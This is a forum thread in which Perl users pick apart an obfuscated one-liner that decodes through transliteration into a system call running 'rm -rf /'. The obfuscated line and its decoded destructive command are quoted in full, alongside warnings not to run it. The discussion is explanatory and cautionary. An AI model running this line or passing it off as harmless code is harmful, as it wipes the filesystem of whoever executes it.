will be happy to read the explanation

[shirokoff]

Hello, I'm new to Perl and I was wondering if someone could explain me how does the following line of code work:

$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/[-`{-};`-{/" -;;s;;$_;see

WARNING!!! Do not run it. It seems to kill all the directories on your hard drive.

[marto]

You could have just looked it up? Click here for a explanation of the code.

Martin

[dynamo]

Thanks, excellent reference--
but how does it get from a state where:

 $_ = '=]=>%-{<-|}<&|`{'

to

 $_ = 'system"rm -rf/"'

using only the following statement:

 
 y; -/:-@[-`{-};`-{/" -;;

Doesn't tr/// require the destination characters to be included in the mapping? I don't see any alphanumerics in there at all.

[Danikar]

I am quite confused on how y; -/:-@[-`{-};`-{/" -;; works as well.

[shirokoff]

hey.. thanks a lot... you just saved a huge period of my time!

[grinder]

For those people too lazy to click on marto's link, I'll spell it out in full: the code executes

  rm -rf /

Which just goes to show you shouldn't run random stuff as root (which was probably the point, albeit stated in a brutal manner).